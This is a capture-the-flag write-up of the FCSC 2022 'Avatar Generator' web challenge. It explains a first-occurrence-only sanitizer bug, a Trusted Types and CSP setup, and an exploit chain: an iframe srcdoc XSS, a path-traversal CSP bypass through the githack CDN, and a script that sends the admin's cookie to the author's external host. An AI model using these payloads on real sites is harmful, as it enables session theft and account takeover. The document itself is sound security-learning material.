Avatar Generator - FCSC 2022

Initial Statement

Pasted-image-20220507172052

Not much information on what we have to do, let's inspect the application.

Introduction

Pasted-image-20220507222222

Here is how the application looks. Basically we can see a seed, and two colours. We can generate a new avatar and share it on twitter. We can also see we can contact the admin. And there is an admin page that we can't access because we don't have the password. By looking at the url shared, we can identify that we can modify values through GET parameters in the URL.

We have three parameters: seed, primary and secondary.

Let's look at the source code.

Source code analysis

When looking at the source code using the developper tools. We can see the whole avatar generation system is done in javascript on the client side. Hence, we can think about XSS or other injections in the DOM.

To be able to analyse the source code easily, we can download the whole code using this command:

$ wget -r https://avatar-generator.france-cybersecurity-challenge.fr/

Here is an overview of the application:

Pasted-image-20220507222944

What's interesting for us is the /assets/js folder which contains all the logic behind the application.

document.addEventListener('DOMContentLoaded', function(){  
   debug = false  
   if (window.location.hash.substr(1) == 'debug'){  
       debug = true  
   }  
   try {  
       params = getURLParams()  
       let seed = params.get('seed') === null ? randomSeed() : params.get('seed')  
       let primaryColor = params.get('primary')  
       let secondaryColor = params.get('secondary')  
       generateAvatar(seed, primaryColor, secondaryColor)  
   }  
   catch(error){  
       if (debug) {  
           let errorMessage = "Error! An error occured while loading the page... Details: " + error  
           document.querySelector('.container').innerHTML = errorMessage  
       }  
       else {  
           generateRandomAvatar()  
       }  
   }  
  
   document.getElementById('randomAvatar').addEventListener('click', generateRandomAvatar)  
   document.getElementById('shareAvatar').addEventListener('click', shareAvatar)  
})

Here is the entry point of the application. We instantly see there is a debug mode that prints out in the html page what we actually typed in a parameter if it's wrong.
Here is the code of the generateAvatar function:

function generateAvatar(seed, primaryColor, secondaryColor){  
   let options = new minBlock({  
       canvasID: 'avatar',  
       color: {  
           primary: primaryColor,  
           secondary:  secondaryColor  
       },  
       random: makePRNG(seed)  
   })  
   updateSettings(seed, options.color.primary, options.color.secondary)  
}

And here is the code of updateSettings:

function updateSettings(seed, primaryColor, secondaryColor){  
   currentSeed = seed  
   currentPrimaryColor = primaryColor  
   currentSecondaryColor = secondaryColor  
   document.getElementById('seed').innerHTML = integerPolicy.createHTML(currentSeed)  
   document.getElementById('primaryColor').innerHTML = colorPolicy.createHTML(currentPrimaryColor)  
   document.getElementById('secondaryColor').innerHTML = colorPolicy.createHTML(currentSecondaryColor)  
   document.getElementById('topColor').style.backgroundColor = currentPrimaryColor  
   let notyf = new Notyf()  
   notyf.confirm('New avatar generated!')  
}

We can see that when the settings are updated, the html is replaced by the parameters. Those parameters are filtered by policies, to make sure they belong to trusted types. Let's check out how are implemented those types.

When using trusted types, everything that will be inserted in the html has to go through a function to make sure they are "safe" to use. Including basic object.innerHTML modifications

The policies are defined in the file policies.js

const RE_HEX_COLOR = /^#[0-9A-Fa-f]{6}$/i  
const RE_INTEGER = /^\d+$/  
  
function sanitizeHTML(html){  
   return html  
       .replace(/&/, "&")  
       .replace(/</, "&lt;")  
       .replace(/>/, "&gt;")  
       .replace(/"/, "&quot;")  
       .replace(/'/, "&#039;")  
}  
  
let sanitizePolicy = TrustedTypes.createPolicy('default', {  
   createHTML(html) {  
       return sanitizeHTML(html)  
   },  
   createURL(url) {  
       return url  
   },  
   createScriptURL(url) {  
       return url  
   }  
})  
  
let colorPolicy = TrustedTypes.createPolicy('color', {  
   createHTML(color) {  
       if (RE_HEX_COLOR.test(color)){  
           return color  
       }  
       throw new TypeError(`Invalid color '${color}'`);  
   }  
})  
  
let integerPolicy = TrustedTypes.createPolicy('integer', {  
   createHTML(integer) {  
       if (RE_INTEGER.test(integer)){  
           return integer  
       }  
       throw new TypeError(`Invalid integer '${integer}'`);  
   }  
})

Basically we have a policy for colors, that will check the input against a regex that looks quite heavy an difficult to bypass. It is the same for integers. What's interesting is that the html is not properly sanitized using known functions or library like DOM Purify, or like would do htmlspecialchars in php. They are using a home made sanitizers which is often flawed.

Here we can see the regex is wrong. using these kind of regex, the regex will only replace the first matching occurence of the regex.
For example, if we have this code:

let data = "abcdefabcdef";

let regex = /abcdef/

let datafiltered = data.replace(regex, "123456")

console.log(datafiltered)

The regex would only match de first occurence of abcdef and replace it:

Pasted-image-20220507225011

Thus, we can bypass this regex pretty easily. So by passing a wrong parameter (that doesn't match de regex of the policies), an error will be raised and printed in the page if the debug mode is activated. Else, it would simply generate a new avatar randomly. I think we have our bug !

Also in the header of the html, we can see some Content-Security-Policies are set:

<meta http-equiv="Content-Security-Policy" content="script-src rawcdn.githack.com/caroso1222/notyf/v2.0.1/dist/ 'self'; object-src 'none'; trusted-types default color integer;">

We can only access local scripts and scripts located on rawcdn.githack.com/caroso1222/notyf/v2.0.1/dist/

Exploitation

We have our bug, let's try to exploit it.

Trigger the XSS

Our first goal will be to pop an alert on the page. First thing to do is to verify our input is really reflected in the DOM:

Here is a sample test payload
Pasted-image-20220507225413

We can see our <strong> element is rendered by our browser, we can inject html ! Also, we have to know that <script> tags won't be interpreted because they are inserted using document.innerHTML = content which by default doesn't execute javascript inserted. Hence we have to find a way to execute javascript. A common bypass for this is to load an iframe.

Let's try it out.

I use prometheus.woody.sh because I already configured the ssl traffic so I can use https, I was too lazy to add a nginx configuration

Pasted-image-20220507231056

And we got our XSS !
Pasted-image-20220507231832
Problem, it's on our domain... but we can use another attribute of the iframe tag: srcdoc, this way we will be able to create an iframe which will be from the same domain.

So using this payload:

/?seed=<p%20id=%27a%27><iframe srcdoc='<script>alert()</script>' />&primary=azea&secondary=b#debug

We can't get an alert because of the csp blocking unsafe-inline scripts. Though, it looks like we may be able to exploit the CDN.

CSP Bypass

We can see the CSP accepts scripts located on rawcdn.githack.com/caroso1222/notyf/v2.0.1/dist/

Let's see what this CDN is about.
Pasted-image-20220507233347

Basically this CDN serves code from github. So I thought we could use some sort of Path Traversal to access my own code on github. I created a project and stored some code there, one script to put an alert and one to redirect the user to my endpoint with the cookies !

Hence my url will be:

https://rawcdn.githack.com/0xW00dy/toto/ff93afa0ebe8ce16a2136b74ae1ee63982a80d1d/alert.js

Tweaked using the path traversal trick, it becomes

https://rawcdn.githack.com/caroso1222/notyf/v2.0.1/dist/..%2f..%2f..%2f..%2f0xW00dy/toto/ff93afa0ebe8ce16a2136b74ae1ee63982a80d1d/alert.js

I don't know why but I had to double encode slashes to make it work.

Here is the payload pasted in the seed parameter:

<>"'<iframe srcdoc='<script src="https://rawcdn.githack.com/caroso1222/notyf/v2.0.1/dist/..%252f..%252f..%252f..%252f0xW00dy/toto/ff93afa0ebe8ce16a2136b74ae1ee63982a80d1d/hehe.js"></script>'/>

Sometimes the cache of the CDN would redirect too much and produce 429 http code, so I had to purge the cache and try again (and pray for the cdn to serve the content correctly...).

Pasted-image-20220507235718

And there we go !

Redirecting the admin and get the flag

I then hosted a more evil payload, that would redirect the admin to an external url and leak his cookie:

document.location="https://prometheus.woody.sh/?c=".concat(document.cookie)

Then I generated a link and tried it on myself.

Payload to put in seed:

<>"'<iframe srcdoc='<script src="https://rawcdn.githack.com/caroso1222/notyf/v2.0.1/dist/..%252f..%252f..%252f..%252f0xW00dy/toto/ff93afa0ebe8ce16a2136b74ae1ee63982a80d1d/hehe.js"></script>'/>

Final payload to send to the bot:

https://avatar-generator.france-cybersecurity-challenge.fr/?seed=%3C%3E%22%27%3Ciframe%20srcdoc=%27%3Cscript%20src=%22https://rawcdn.githack.com/caroso1222/notyf/v2.0.1/dist/..%252f..%252f..%252f..%252f0xW00dy/toto/ff93afa0ebe8ce16a2136b74ae1ee63982a80d1d/hehe.js%22%3E%3C/script%3E%27/%3E&primary=azea&secondary=b#debug

We finally get the admin cookie:

Pasted-image-20220508000029

And we get the flag !
Pasted-image-20220508000102

Conclusion

Thanks for the amazing challenge where we had to bypass a regex in order to get a XSS. Then, we needed to bypass the CSP using the github cdn to achieve our goal of impersonating the administrator to get the flag. I learned a lot on this challenge!

Show Comments